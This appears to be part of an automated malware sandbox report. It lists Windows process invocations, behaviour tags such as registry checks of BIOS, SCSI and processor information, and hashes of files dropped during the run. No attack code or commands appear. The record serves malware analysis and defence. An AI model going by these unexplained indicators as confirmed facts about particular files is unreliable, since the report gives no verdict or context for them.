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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1612
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4104
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4324
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4896
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:3448
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD55315900105942deb090a358a315b06fe
SHA122fe5d2e1617c31afbafb91c117508d41ef0ce44
SHA256e8bd7d8d1d0437c71aceb032f9fb08dd1147f41c048540254971cc60e95d6cd7
SHA51277e8d15b8c34a1cb01dbee7147987e2cc25c747e0f80d254714a93937a6d2fe08cb5a772cf85ceb8fec56415bfa853234a003173718c4229ba8cfcf2ce6335a6
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Filesize
15KB
MD5c73b154a0d74f00ba7b87fbbac1213d5
SHA17496ffc1b37f7a160cfb84756c055f6e70772520
SHA25672a146741af7d2232d0a33ae5247900e02790bb15eb51ec25ad174614165f609
SHA512ecbebda49547b2bf93ad679ec5ecca6593da4262052722f7d59c5dca21b02b3ac2762dd301af29aa00991172998a4b3627e43418882e72a035605146f8924749
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Filesize
15KB
MD577499b1ed551da318c079093d953e8f9
SHA167e39d5ff596cb90c37f8fae5d77699fe9c6d833
SHA25645b8cc87367b8f0f62aa031dbf1640fb57a1eb31089f35e5b16820fe6eb23fbf
SHA512327c0067a63ce254c76432bf3452d08d5f9605ed9e6e7ac176b9dadc1008b9d7e984abd73770a2fbb369b80f6003e94a314d186abc36ebbac85ff41013ba07f9
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Filesize
944B
MD59b80cd7a712469a4c45fec564313d9eb
SHA16125c01bc10d204ca36ad1110afe714678655f2d
SHA2565a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d
SHA512ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584
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Filesize
45KB
MD5a44a767dba207c04c74afae17144f787
SHA1fa14f38216e259be5b181c825719f1c864691a5f
SHA25626eaa5bce06cadc54cb4990fabb1b9150966ef720b07a836ef2bd456360246b2
SHA5127dfd6e182ac9f16b29843cb0eabaa7db02fa3ee59c65c7822d9213859c4a7185d0fdcd1d51747a11b4fdd3a7947ea14fdc7fa583c13b4d3edf50b8d6d3178619
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Filesize
163KB
MD51a7d1b5d24ba30c4d3d5502295ab5e89
SHA12d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
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Filesize
661KB
MD52513e26d91a03e8fbcbfd8c3f4f11f80
SHA1dabc1fc063c86d28d6b3313cbed51334bc90a0e0
SHA256c62bc8ed1192add4a2ce16af0fe67dfe6a061b85c1176648a3ad9856b1744966
SHA51256b55eefc9277ba83ba1f1b7fad87166a6d5b85266be5f4a3f35cd9af36a0f0c2c51011d3f6ed5acbf8f710fe7858ce81dc09878b1f791230795f0088f29e404
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Filesize
153B
MD5a6ba57a2209d3f5ab2f3f1f99589361b
SHA10ee47d17ad3fb9cdfdf4d6c1a64f576e23fa8ccc
SHA2564de14e42f9b596faa26173bd964d52f64e3b753507d80c70e5b28d98775d2b9e
SHA512fe95642a04f43455c761bd0fb3662456a3a14b9eaf13c40dbeef9bc532577fb5740f38b14cfd8bfd756bd6ad3e4a1687cffe8bff7db048bba2e62dc949b012f1
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Filesize
95KB
MD5bcbcb79606c1833ccef6ca77a7535936
SHA10fcbf9cd7ad1963736afac84cc56069654df3d42
SHA256ce13808dad8149017d9dbc146681a99cd79aaa1288f890c9120a47c347c9db29
SHA51220a3aa8046c8e3c93a9a55aa3750088da247abb11444883f8463aef0d347520c697067b5a8491de204310660cdb632b828d58898e4f65fd385cb1ec2da752391
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5aa187cac09f051e24146ad549a0f08a6
SHA12ef7fae3652bb838766627fa6584a6e3b5e74ff3
SHA2567036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
SHA512960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2